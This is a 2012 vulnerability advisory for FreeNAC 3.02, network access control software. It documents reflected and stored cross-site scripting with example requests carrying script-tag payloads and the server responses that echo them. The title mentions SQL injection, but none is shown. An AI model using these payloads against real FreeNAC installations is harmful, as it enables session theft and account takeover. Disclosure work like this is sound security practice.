FreeNAC 3.02 - SQL Injection and XSS Vulnerabilties
FreeNAC version 3.02 SQL Injection and XSS Vulnerabilties
Date: May 19, 2012
Author: Blake
Software Link: http://sourceforge.net/project/showfiles.php?group_id=170004
Version: 3.02
Tested on: Ubuntu 8.04 (freenac version 3.02 vmware appliance)
FreeNAC FreeNAC provides Virtual LAN assignment, LAN access control (for all kinds of network devices such as Servers, Workstations, Printers, IP-Phones ..), live network end-device discovery.Both 802.1x and Cisco's VMPS port security modes are supported. VLAN, switch port management and documentation of Patch cabling is also included.
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Reflective Cross-Site Scripting:
Multiple parameters are vulnerable to reflective cross-site scripting.
Affected Parameters:
comment
mac
graphtype
type
name
Example Request:
GET /stats.php?graphtype=bar&type=vlan13<script>alert(1)</script> HTTP/1.1
Host: 192.168.1.118
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Referer: http://192.168.1.118/stats.php?graphtype=bar&type=switch
Cookie: freenac=92bcf3d911d94e33106c2e79745e8e8e
Example Response:
HTTP/1.1 200 OK
Date: Sat, 19 May 2012 17:42:41 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 5676
Content-Type: text/html
<img src="statgraph.php?stattype=vlan13<script>alert(1)</script>&order=DESC&graphtype=bar"><br>
<br> <p class='UpdateMsg'>Database error</p>
<p>Please go <a HREF='javascript:javascript:history.go(-1)'>back to the previous screen</a>, or the
<a href='./index.php' >Main Menu</a> and start again, or try again later. </p>
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Stored Cross-Site Scripting:
The comment parameter is vulnerable to stored cross-site scripting.
Example Request:
<changed from a POST to a GET>
http://192.168.1.118/deviceadd.php?name=test&mac=0001.0001.0001&status=1&vlan=6&username=2&office=1&comment="><script>alert(2)</script>&action=Update&action_idx=1
Example Response:
HTTP/1.1 200 OK
Date: Sat, 19 May 2012 17:53:38 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6945
Content-Type: text/html